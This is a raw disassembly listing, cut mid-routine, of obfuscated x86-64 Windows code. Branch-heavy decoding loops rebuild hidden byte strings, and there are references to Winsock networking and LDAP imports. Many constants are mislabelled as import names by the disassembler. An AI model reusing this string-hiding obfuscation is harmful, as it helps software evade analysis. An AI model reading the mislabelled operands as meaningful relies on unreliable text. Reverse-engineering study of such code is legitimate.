jmp 0x14014f4c4
lea ecx, [r8 + 0x7c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14014f3b5
sub r8b, 0x16
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x66
jmp 0x14014f4ee
add r8b, 0x58
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x68
jmp 0x14014f537
sub r8b, 0x15
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6d
mov byte [rbp + r11 + 0x1f0], bl
jmp 0x14014f546
lea ecx, [r8 + 0x59]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6f
cmp r10, 5
jb 0x14014efa2
lea edx, [r8 + 0x16]
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x14014f448
lea ecx, [r8 - 0x39]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x71
cmp rdi, 0x41
jae 0x14014f356
lea rcx, [r10 + 3]
cmp rdi, rcx
jbe 0x14014f2be
lea edx, [r8 + 0x62]
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14014efc3
lea ecx, [r8 + 0x35]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x73
lea rax, [r10 + rdi]
cmp rax, 0x2a
je 0x14014f36f
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x14014f232
lea edx, [r8 + 0x65]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x3d
add bl, dl
jmp 0x14014effb
sub r8b, 0x12
mov ecx, 0x3f
jmp 0x14014f152
add r8b, 0x5c
mov al, r8b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014f4ee
lea edx, [r8 - 0x36]
mov ecx, 0x3d
jmp 0x14014f17a
add r8b, 0x38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014f1a0
sub r8b, 0x5a
mov ecx, Ordinal_60
jmp 0x14014f1c8
lea edx, [r8 + 0x14]
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014f4a0
sub r8b, 0x7e
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x14014f1f0
sub r8b, 0x10
mov ecx, Ordinal_60
jmp 0x14014f21c
lea edx, [r8 + 0x5e]
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014f448
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14014f140
lea ecx, [r8 + 0x49]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
inc bl
jmp 0x14014f040
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014f168
sub r8b, 6
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014f537
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014f18e
lea edx, [r8 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014f3b5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014f1b6
sub r8b, 0x50
mov ecx, Ordinal_27
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014f4c4
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014f1de
add r8b, 0x42
mov ecx, Ordinal_27
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014f4c1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014f206
add r8b, 0x66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014f480
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014f040
sub r8b, 8
mov ecx, Ordinal_32
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014f466
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014f253
lea edx, [r8 - 9]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x3f
jmp 0x14014f446
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014f277
add r8b, 0x1b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x43
jmp 0x14014f480
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014f298
lea edx, [r8 + 0x63]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x4b
jmp 0x14014f3b3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014effb
sub r8b, 0xb
mov al, r9b
and al, r8b
add al, al
mov bl, r9b
sub bl, al
add bl, 0x4d
jmp 0x14014f398
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014f2e6
sub r8b, 0xc
mov al, r9b
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14014f537
cmp rdi, rcx
jne 0x14014f306
lea edx, [r8 + 0x18]
mov al, r9b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14014f3b3
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014f32e
sub r8b, 0xe
mov al, r9b
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14014f466
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014efc3
lea edx, [r8 - 0x7c]
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14014f446
lea edx, [r8 - 0x58]
mov al, r9b
and al, dl
mov cl, r9b
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
jmp 0x14014f49e
lea edx, [r8 + 0x3a]
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014f3b3
sub r8b, 0x73
mov al, r9b
and al, r8b
add al, al
mov bl, r9b
sub bl, al
add bl, 0x25
add bl, r8b
jmp 0x14014f4ee
lea edx, [r8 - 5]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x23
add bl, dl
sub r8b, 0x7d
mov al, r9b
and al, r8b
add al, al
mov cl, r9b
sub cl, al
add cl, 0x6b
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x1f0], al
inc r10
add rax, r10
sub r11, rax
jmp 0x14014f4ee
add r8b, 0x69
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x21
jmp 0x14014f4c4
sub r8b, 0x29
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x1f
jmp 0x14014f4c1
lea edx, [r8 - 0x71]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x17
jmp 0x14014f446
mov r8b, r11b
lea edx, [r8 + 0x6b]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x13
add bl, dl
add r8b, 0x5f
mov al, r9b
and al, r8b
add al, al
sub r9b, al
add r9b, 0x67
add r9b, r8b
mov byte [rbp + r11 + 0x1f0], r9b
inc r10
jmp 0x14014f480
lea ecx, [r11 + 0x47]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
add bl, 0xf
dec r11
jmp 0x14014f546
mov r8b, r11b
lea edx, [r8 - 0x4b]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0xd
add bl, dl
sub r8b, 0xf
mov al, r9b
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, 0x69
add cl, r9b
add cl, r8b
mov byte [rbp + r11 + 0x1f0], cl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14014f546
movabs rcx, 0x8bcf20513041d16d
add rcx, r11
and dl, cl
add dl, dl
mov bl, r9b
sub bl, dl
add bl, 5
add bl, cl
lea edx, [r11 - 0x34]
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x1f0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14014f537
movabs rax, 0x53e2acfd835ab0db
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
add bl, 3
movzx eax, byte [rbp + r11 + 0x1f0]
add rax, r10
add r11, rax
inc r11
jmp 0x14014eb9e
sub r8b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x7b
jmp 0x14014eb9b
add r8b, 0x5b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x7d
jmp 0x14014eb8b
lea r15, [rbp + 0x164f2fc]
jmp 0x14014f59d
lea r15, [rbp + 0x988345]
jmp 0x14014f59d
lea r15, [rbp + 0x1f0]
mov byte [rbp + 0x350], 0x48
mov byte [rbp + 0x351], 0xb1
mov byte [rbp + 0x352], Ordinal_79
mov byte [rbp + 0x353], Ordinal_143
mov byte [rbp + 0x354], 0xf3
mov byte [rbp + 0x355], 0xf3
mov byte [rbp + 0x356], 0xfc
mov byte [rbp + 0x357], 0x84
mov byte [rbp + 0x358], 0xfc
mov byte [rbp + 0x359], 0xf1
mov byte [rbp + 0x35a], 0x42
mov byte [rbp + 0x35b], 0xad
mov byte [rbp + 0x35c], Ordinal_79
mov byte [rbp + 0x35d], 0xfb
mov byte [rbp + 0x35e], 0xf3
mov byte [rbp + 0x35f], 0x83
mov byte [rbp + 0x360], 0x82
mov byte [rbp + 0x361], 0xc1
mov byte [rbp + 0x362], Ordinal_60
mov byte [rbp + 0x363], 0xf8
mov byte [rbp + 0x364], 0x81
mov byte [rbp + 0x365], 0xff
mov byte [rbp + 0x366], 0xfb
mov byte [rbp + 0x367], 0xf3
mov byte [rbp + 0x368], 0x83
mov byte [rbp + 0x369], gethostname
mov byte [rbp + 0x36a], 0xda
mov byte [rbp + 0x36b], Ordinal_60
mov byte [rbp + 0x36c], 0xff
mov byte [rbp + 0x36d], 0x9c
mov byte [rbp + Ordinal_60e], 0x36
mov byte [rbp + 0x36f], 0x9b
mov byte [rbp + 0x370], __WSAFDIsSet
mov byte [rbp + 0x371], 0x99
mov byte [rbp + 0x372], 0x90
mov byte [rbp + 0x373], 0xe8
mov byte [rbp + 0x374], Ordinal_50
mov byte [rbp + 0x375], Ordinal_200
mov byte [rbp + 0x376], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x377], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x378], reloc.WS2_32.dll_ntohl
xor eax, eax
mov qword [rbp + 0x379], rax
mov dword [rbp + 0x381], eax
mov word [rbp + 0x385], ax
mov byte [rbp + 0x387], al
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x38
jae 0x1401500cf
movzx r9d, byte [rbp + r11 + 0x350]
mov edx, r9d
cmp rdi, r11
ja 0x1401500c6
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014f739
movabs rcx, 0x591a504de72aac31
add rcx, r11
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x57
jmp 0x14014f766
je 0x140150056
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014ffe0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014ffb7
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014ff9b
mov r8b, r11b
cmp r10, r11
ja 0x1401500bd
lea rax, [r10 + 0x2a]
cmp rdi, rax
jae 0x14014f791
lea ecx, [r8 + 5]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x23
jmp 0x14014f7c5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014ff65
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014ff4d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014ff34
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014ff19
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14014fc7c
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14014fc63
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14014fc48
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014fc29
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014fc10
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014fbf5
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14014fbd6
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14014fbbd
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14014fba2
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014fb83
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14014f7d2
lea rdi, [r10 + 0x10]
lea r10, [rdi + 6]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401500a2
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x140150087
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14014f9b8
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14014f99f
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014f986
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014fb39
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14014faf2
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14014fabc
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14014fa99
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14014f7d2
lea rdi, [r10 + 0x42]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x14014fa8b
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14014fa70
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14014fa57
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14014fa49
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014fa2e
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14014fa15
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14014fa07
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014f9ec
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x14014f9d3
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14014f7d2
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
jmp 0x14014f7d2
lea ecx, [r8 - 0x65]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3d
jmp 0x14014f7c5
lea ecx, [r8 + 0x39]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x71
jmp 0x14014f769
sub r8b, 0x29
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x1f
jmp 0x14014f705
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14014ff79
sub r8b, 0x3a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6a
jmp 0x14014ff96
add r8b, 0x64
mov ecx, Ordinal_35
jmp 0x14014fc32
lea ecx, [r8 + 2]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xe
jmp 0x14014fede
sub r8b, 0x60
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x60
jmp 0x14014ffcb
add r8b, 0x3e
mov ecx, Ordinal_41
jmp 0x14014fbdf
lea ecx, [r8 - 0x24]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14014fffd
add r8b, 0x7a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x56
jmp 0x140150028
add r8b, 0x18
mov ecx, Ordinal_45
jmp 0x14014fb8c
add r8b, 0x23
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0xb
mov byte [rbp + r11 + 0x350], bl
jmp 0x14015007f
lea ecx, [r8 - 0x3f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x47
cmp r10, 0x28
jb 0x14014faaf
lea ecx, [r8 - 0x7a]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x54]
jmp 0x14014ff79
lea ecx, [r8 + 0x5f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x67
cmp rdi, 0x5a
jae 0x14014fec7
lea rcx, [r10 + 4]
cmp rdi, rcx
jbe 0x14014fe38
mov dl, r8b
sub dl, sil
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014fad0
lea ecx, [r8 - 3]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x15
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14014ff04
lea rax, [r10 + 0x80]
cmp rdi, rax
jbe 0x14014fd60
lea ecx, [r8 - 0x53]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x45
jmp 0x14014fb06
add r8b, 0x1e
mov ecx, reloc.WS2_32.dll_socket
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140150070
sub r8b, 0x44
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x24
jmp 0x140150028
lea ecx, [r8 + 0x5a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x76
jmp 0x14014fffd
sub r8b, 8
mov ecx, Ordinal_32
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014ffce
sub r8b, 0x6a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1a
jmp 0x14014ffcb
lea ecx, [r8 + 0x34]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6c
jmp 0x14014fede
sub r8b, 0x2e
mov ecx, reloc.WLDAP32.dll_Ordinal_33
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014ffaf
add r8b, 0x70
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x14014ff96
lea ecx, [r8 + 0xe]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x62
jmp 0x14014ff79
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14014fc9e
lea ecx, [r8 + 0x31]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x57
jmp 0x14014fb4d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014fcc2
add r8b, 0xa
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x46
jmp 0x140150070
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014fcea
add r8b, 0x6c
mov al, r8b
and al, r9b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140150028
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014fd12
sub r8b, 0x6e
mov al, r8b
and al, r9b
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014ffcb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014fd36
sub r8b, 0x48
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 8
jmp 0x14014ff96
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14014fb4d
lea edx, [r8 + 0x1a]
mov ecx, Ordinal_41
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014ff79
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014fd82
lea ecx, [r8 + 0xf]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x69
jmp 0x14014ff79
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014fda6
sub r8b, 0x2d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x3b
jmp 0x14014ffaf
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014fdca
sub r8b, 7
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x31
jmp 0x14014ffce
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014fdec
lea ecx, [r8 + 0x5b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7d
jmp 0x14014fffd
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014fe10
sub r8b, 0x43
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x2b
jmp 0x140150028
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014fb06
add r8b, 0x1f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x27
jmp 0x140150070
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014fe4f
add r8b, 0x14
mov ecx, Ordinal_60
jmp 0x14014fb8c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014fe75
lea edx, [r8 - 0x28]
mov al, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014fffd
cmp rdi, rcx
jne 0x14014fe95
sub r8b, 0x64
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x44
jmp 0x14014ffcb
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014feac
add r8b, 0x60
mov ecx, Ordinal_50
jmp 0x14014fc32
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014fad0
lea edx, [r8 + 0x24]
mov ecx, 2
jmp 0x14014fd4c
lea ecx, [r8 - 0x18]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x58
add bl, r9b
add r8b, 0x19
mov al, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 0x51
add r8b, bl
add r8b, r9b
mov byte [rbp + r11 + 0x350], r8b
jmp 0x14014ffcb
lea ecx, [r8 + 0x4a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 6]
jmp 0x14014fffd
add r8b, 0x15
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x6d
jmp 0x140150028
lea ecx, [r8 - 0x4d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x1b
jmp 0x14014fffd
sub r8b, 0x11
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, r14b
jmp 0x14014ffcb
lea ecx, [r8 + 0x67]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2f
sub r8b, 0x49
mov al, r8b
and al, r9b
add al, al
sub r8b, al
dec r8b
add r8b, r9b
mov byte [rbp + r11 + 0x350], r8b
inc r10
jmp 0x14014ffaf
lea ecx, [r11 - 0x21]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x19
dec r11
jmp 0x14015007f
lea ecx, [r11 + 0x1b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x43
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14015007f
movabs rax, 0x6fb83221522ab557
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea ebx, [r9 + rax]
sub bl, 0x61
mov r8b, r11b
add r8b, 0x7b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x5d
add r8b, r9b
movzx eax, r8b
mov byte [rbp + r11 + 0x350], al
inc r10
add rax, r10
sub r11, rax
lea edx, [r11 - 0x54]
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 + 0x350], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x140150070
movabs rax, 0xb4ef0e9b5800493
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea ebx, [r9 + rax]
sub bl, 5
movzx eax, byte [rbp + r11 + 0x350]
add rax, r10
add r11, rax
inc r11
jmp 0x14014f6ef
add r8b, 0x75
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x33
jmp 0x14014f6ec
add r8b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x7b
jmp 0x14014f6dc
lea r14, [rbp + 0x16bb43c]
jmp 0x1401500d6
lea r14, [rbp + 0x96606d]
jmp 0x1401500d6
lea r14, [rbp + 0x350]
mov byte [rbp + 0x110], Ordinal_60
mov byte [rbp + 0x111], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x112], 7
mov byte [rbp + 0x113], 0
mov byte [rbp + reloc.WS2_32.dll_recvfrom4], 0x11
mov byte [rbp + 0x115], 7
mov byte [rbp + 0x116], 8
mov byte [rbp + 0x117], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x118], gethostname
mov byte [rbp + 0x119], Ordinal_50
mov byte [rbp + 0x11a], 0xe8
mov byte [rbp + 0x11b], 0xc1
mov byte [rbp + 0x11c], 0xec
mov byte [rbp + 0x11d], 0xef
mov byte [rbp + 0x11e], Ordinal_143
xor eax, eax
mov qword [rbp + 0x11f], rax
mov byte [rbp + 0x127], al
mov dil, byte [rsp + 0x40]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x140150b0c
movzx r8d, byte [rbp + r11 + 0x110]
mov esi, r8d
cmp rbx, r11
ja 0x140150b03
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401501b1
movabs rcx, 0x322942a7881f398
add rcx, r11
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x28
jmp 0x1401501de
je 0x140150a8a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140150a0e
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401509bc
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140150977
mov r9b, r11b
cmp r10, r11
ja 0x140150afa
lea rax, [r10 + 0x61]
cmp rbx, rax
jae 0x14015020d
lea edx, [r9 + 0x78]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x48
jmp 0x140150415
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14015096c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140150953
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140150934
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140150918
lea rax, [r10 + rbx]
cmp rax, r11
jbe 0x140150677
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14015065d
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140150641
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140150622
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140150608
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401505ec
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401505cd
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401505b3
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140150595
lea rax, [r10 + 0x10]
cmp rbx, rax
